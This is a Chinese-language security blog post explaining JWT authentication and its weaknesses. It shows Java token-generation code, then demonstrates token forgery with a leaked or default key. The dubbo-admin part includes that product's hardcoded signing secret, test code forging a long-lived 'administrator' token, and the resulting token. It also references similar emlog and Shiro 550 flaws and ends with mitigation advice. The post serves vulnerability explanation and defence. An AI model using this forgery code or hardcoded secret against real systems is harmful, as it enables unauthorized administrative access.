引言
在web開發中,對于用戶認證的問題,有很多的解決方案。其中傳統的認證方式:基于session的用戶身份驗證便是可采用的一種。
基于session的用戶身份驗證驗證過程:?用戶在用進行驗證之后,服務器保存用戶信息返回sessionid,客戶端攜帶sessionid可向服務器確認自己的身份。?這種認證方式也有著諸多缺點: 用戶憑證數據存儲在服務端,隨著用戶的增多,服務端壓力增大;在分布式架構下用戶憑證需要在服務器與服務器之間交換進行session的同步,否則只能用戶挨個對服務器進行認證,這給服務器或者用戶帶來不便,可擴展性不強。
而基于JSON Web Token 的認證方式則完全可以解決這一問題,它利用了加密技術對用戶的信息做簽名認證,這使得服務端只需采用相同的算法密鑰對,無需進行用戶憑證信息的交換就可以完成用戶的認證。
基于JSON Web Token 的用戶身份驗證驗證過程:?采用json數據的格式分三個部分進行base64編碼,header:聲明所使用的算法,payload:存放用戶關鍵信息 signatue:對header與payload進行算法簽名, 將這三個部分base64編碼用用逗號作為分隔,作為單獨的header頭返回給用戶。?那么當用戶需攜帶著jwt token向后端驗證自己的身份時,如果通過了簽名認證算法,就可以引用用戶的關鍵信息來證明的用戶的相應身份。
JWTtoken應用示例
import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.exceptions.JWTDecodeException;
import com.auth0.jwt.exceptions.JWTVerificationException;
import com.auth0.jwt.interfaces.DecodedJWT;
import jdk.internal.dynalink.beans.StaticClass;
?
import java.util.Date;
public class JwtTokenGenerator {static String secretKey = "secretKey123";//密鑰static String issuer = "cn";public static String generateToken(String userId, String username) {Date now = new Date();Date expiryDate = new Date(now.getTime() + 3600000); // 設置過期時間為1個小時后Algorithm algorithm = Algorithm.HMAC256(secretKey);//設置算法及密鑰String token = JWT.create().withIssuer(issuer)//發布人.withClaim("userId", userId)//數據 "usrid:xxxxx".withClaim("username",username).withIssuedAt(now)//發布時間.withExpiresAt(expiryDate)//到期時間.sign(algorithm);//return token;}
?
?public static void main(String[] args) {String token = generateToken("2233","admin");System.out.println("生成JWTtoken:"+token);
?// 驗證Tokenboolean isValid = verifyToken(token);System.out.println("Token is valid: " + isValid);
?// 解析Token獲取數據UserInfo userInfo = getUserInfoFromToken(token);
?if (userInfo != null) {System.out.println("User ID: " + userInfo.getUserId());System.out.println("Username: " + userInfo.getUsername());} else {System.out.println("Invalid token or decoding error.");}
?}// 驗證Tokenpublic static boolean verifyToken(String token) {try {Algorithm algorithm = Algorithm.HMAC256(secretKey);JWTVerifier verifier = JWT.require(algorithm).withIssuer(issuer).build(); // Reusable verifier instanceDecodedJWT jwt = verifier.verify(token);// 驗證通過return true;} catch (JWTVerificationException exception) {// 驗證失敗return false;}}
?// 解析Token獲取其中的數據public static UserInfo getUserInfoFromToken(String token) {try {Algorithm algorithm = Algorithm.HMAC256(secretKey);JWTVerifier verifier = JWT.require(algorithm).build();DecodedJWT jwt = verifier.verify(token);
?String userId = jwt.getClaim("userId").asString();String username = jwt.getClaim("username").asString();
?return new UserInfo(userId, username); // Assuming UserInfo class holds userId and username} catch (JWTDecodeException | IllegalArgumentException exception) {// Invalid token or decoding exceptionreturn null;}}
}
運行結果
生成JWTtoken:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMTgyMzc4MiwidXNlcklkIjoiMjIzMyIsImlhdCI6MTcyMTgyMDE4MiwidXNlcm5hbWUiOiJhZG1pbiJ9.PvLJgRpcVa0sTimuyIHA6yBbuu9qFW4YspdUfKNGctg?Token is valid: true?User ID: 2233?Username: admin
這是base64的解碼
{"typ":"JWT","alg":"HS256"}.{"iss":"cn","exp":1721823782,"userId":"2233","iat":1721820182,"username":"admin"}.>òé?\U-,N)?è?à? [o?jn2—T|£Fr?
內部邏輯調試
調試一下 看一下邏輯
JWTCreator內部靜態類Builder#sign方法 向payloadClaims放入用戶信息等其他信息(本次測試放入的是username與userid)
JWTCreator內部靜態類Builder#sign方法 向headerClaims放入 alg與typ ,聲明算法類型
JWT的構造方法
JWTCreator 生成相應headerClaims與payloadClaims的headerJson與payloadJson
private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {this.algorithm = algorithm;
?try {this.headerJson = mapper.writeValueAsString(headerClaims);this.payloadJson = mapper.writeValueAsString(new ClaimsHolder(payloadClaims));} catch (JsonProcessingException var5) {JsonProcessingException e = var5;throw new JWTCreationException("Some of the Claims couldn't be converted to a valid JSON format.", e);}
}
?簽名方法 algorithm會對headerJson和payloadJson進行簽名,最后三個部分都返回base64編碼字符串
private String sign() throws SignatureGenerationException {String header = Base64.getUrlEncoder().withoutPadding().encodeToString(this.headerJson.getBytes(StandardCharsets.UTF_8));String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(this.payloadJson.getBytes(StandardCharsets.UTF_8));byte[] signatureBytes = this.algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);return String.format("%s.%s.%s", header, payload, signature);
}
最終是完成JWTtoken的生成返回給用戶
?
思考這個機制存在的問題 !
1.修改payloadJson信息偽造token
偽造用戶 3344 root 生成base64編碼
偽造用戶token
ForgeryToken:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMTgyMzc4MiwidXNlcklkIjoiMzM0NCIsImlhdCI6MTcyMTgyMDE4MiwidXNlcm5hbWUiOiJyb290In0=.PvLJgRpcVa0sTimuyIHA6yBbuu9qFW4YspdUfKNGctg
經過測試在進行verify簽名認證時,偽造的token會拋出異常。當然也有那種不做verify簽名直接取用戶的信息就能教你挖src的文章,這種就屬于后端完全沒有校驗簽名。
2.修改headerJson信息偽造token
看過一些文章尤其是一些ctf的題,有講解修改headerJson可能會改變簽名算法,比如改成公私鑰算法,將公鑰放到headerJson,那么自己用私鑰做的簽名公鑰自然而然可以進行解鑰認證,有些ctf題甚至在headerJson把密鑰信息泄露出來。從技術上來說這些的確可以實現,jwt 的headerJson 也是為了不用集群多用戶的各種需求設計了很多功能字段,它們在正確的使用下是可以做到完全安全的。???本示例中Algorithm對象的生成是固定的,沒有因前端傳來的值而相應做出改變,沒有對headerJson進行進一步判斷處理。所以本示例中你想拿headerJson去做一些文章是沒有結果的。
這點可以參考JWT認證攻擊詳解總結 - 滲透測試中心 - 博客園
3.密鑰泄露或者系統默認密鑰
?
假如我們的密鑰泄露了,那我們就可以正常的程序生成正常的jwt token 完成verify簽名
下面是我們在得知secretKey的情況下偽造用戶 3344 root
生成程序
public static String generateForgeryToken() {Date now = new Date();Date expiryDate = new Date(now.getTime() + 999999999); // 設置過期時間為無限期Algorithm algorithm = Algorithm.HMAC256("secretKey123");//密鑰泄露String ForgeryToken = JWT.create().withIssuer(issuer)//發布人.withClaim("userId", "3344")//數據 偽造.withClaim("username","root")//數據 偽造.withIssuedAt(now)//發布時間.withExpiresAt(expiryDate)//.sign(algorithm);//return ForgeryToken;}
生成偽造token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMjkwODQ3NSwidXNlcklkIjoiMzM0NCIsImlhdCI6MTcyMTkwODQ3NSwidXNlcm5hbWUiOiJyb290In0.Ur3gXKTKV9wYnHnegHdGMxAVPLwFxcRHx_vO9EmrR7Q
用程序驗證
成功偽造了用戶 334 root 這樣程序就會執行后面的操作,達到未授權訪問的效果
實戰dubbo-admin JWT硬編碼身份驗證繞過
?
硬編碼
用戶登錄邏輯
org/apache/dubbo/admin/controller/UserController.java#login()
??跟入generateToken
這里我們重點關注前面所使用的secret,找到它使用的密鑰
?
?
?我們可以在本地測試一下生成token的函數 與驗證token的函數
偽造用戶administrator 將過期時間調到幾百年之后。
?
測試代碼
@Test
public void ForgeryTokentest() {Map<String, Object> claims = new HashMap<>(1);claims.put("sub", "administrator");String ForgeryToken = Jwts.builder().setClaims(claims).setExpiration(new Date(System.currentTimeMillis() + 9999999999999999l)).setIssuedAt(new Date(System.currentTimeMillis())).signWith(defaultAlgorithm, "86295dd0c4ef69a1036b0b0c15158d77").compact();System.out.println(ForgeryToken);
生成的偽造token
eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjEwMDAxNzIxOTkzMTQwLCJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzIxOTkzMTQwfQ.UsUNLgmLq9wRbcPR_ERM7X-Bw6q3P6MrMBR6QilZLhbDHC59BTw3FBCWzORjUt_tuAWPevxmG2YH8JtPe6EGUw
驗證用戶token邏輯
web接口進入攔截器
?進入authentication認證方法
authentication取出header頭中Authorization的值將它傳入工具jwtTokenUtil類的canTokenBeExpirarion方法
?
canTokenBeExpirarion使用了jwt的機制對用戶token進行了驗證。?根據代碼邏輯,我們只需用canTokenBeExpiration方法用驗證的我們偽造的token即可證明漏洞。
且通過調試,證明這個token時間是非常的長?
?
測試代碼
? ?String secret = "86295dd0c4ef69a1036b0b0c15158d77";@Testpublic void verifyTokentest() {
/* ? ? ? JwtTokenUtil jwtTokenUtil = SpringBeanUtils.getBean(JwtTokenUtil.class);Boolean isValid = jwtTokenUtil.canTokenBeExpiration("eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE3MjE5MTA4MzIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3MjE5MDk4MzJ9.qO__fIG1aFImGpZ4qajUuG8w9kcH6l6FgbDsDAEC-9ftLePDsREWJzodMcKpn7sgbqdDhIQ5MxuTSw40q34McA");System.out.println("Token is valid: " + isValid);*/Claims claims;try {claims = Jwts.parser().setSigningKey(secret).parseClaimsJws("eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjEwMDAxNzIxOTkzMTQwLCJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzIxOTkzMTQwfQ.UsUNLgmLq9wRbcPR_ERM7X-Bw6q3P6MrMBR6QilZLhbDHC59BTw3FBCWzORjUt_tuAWPevxmG2YH8JtPe6EGUw").getBody();final Date exp = claims.getExpiration();if (exp.before(new Date(System.currentTimeMillis()))) {
?System.out.println("token驗證過期");}System.out.println("token驗證成功");} catch (Exception e) {System.out.println("token驗證發生異常");e.printStackTrace();
擴展 emlog pro 版本 2.3.4 存在會話(AuthCookie)持久性和任何用戶登錄漏洞
這個系統中setAuthCookie的代碼邏輯如下
這段邏輯與jwt生成token的原理非常類似
使用$user_login 和 $expiration 作為生成key, 之后在將key 與 $user_login 和 $expiration 作為種子生成用與簽名的hash
同樣的問題是如果AUTH_KEY 是默認的或者泄露了,那么它就會造成jwt一樣的問題。
在知道密鑰的情況下,我們只需用的同樣的代碼流程,改變用戶信息,改變過期時間即可有一個合法的且永不過期的用戶token
參考:
https://github.com/ssteveez/emlog/blob/main/emlog%20pro%20version%202.3.4%20has%20session(AuthCookie)%20persistence%20and%20any%20user%20login%20vulnerability.md?
擴展 Shiro 550 硬編碼問題
Shiro 550本質上就是硬編碼的問題。Shiro 密鑰在出廠的時候寫死在了代碼中,這也就導致了系統變相的密鑰泄露,而又因為shiro驗證用戶cookie的機制有了反序列化的這一動作。這就使得反序列化漏洞在這一場景中有了用武之地。討論Shiro 不出網,繞過等問題,本質上就是討論Shiro 可以進行哪些反序列化操作的問題。
參考JAVA安全之Shrio550-721漏洞原理及復現_shiro550和shiro721的區別-CSDN博客
總結
雖然JWT密鑰面臨著可能被泄露的問題,但這并不代表著它不足夠安全。除了使用隨機密鑰的方式啟動服務外,我們還可以結合傳統的方法來進行改造,那就是采用redis緩存技術,將用戶的token值作為value在redis存儲備份,再將相應的key傳回給用戶,用戶只需傳遞key值就能進行認證,各個服務器也都能夠取出來對應key的value值,去驗證用戶token是否合法,這樣也避免了密鑰泄露的問題!
?
?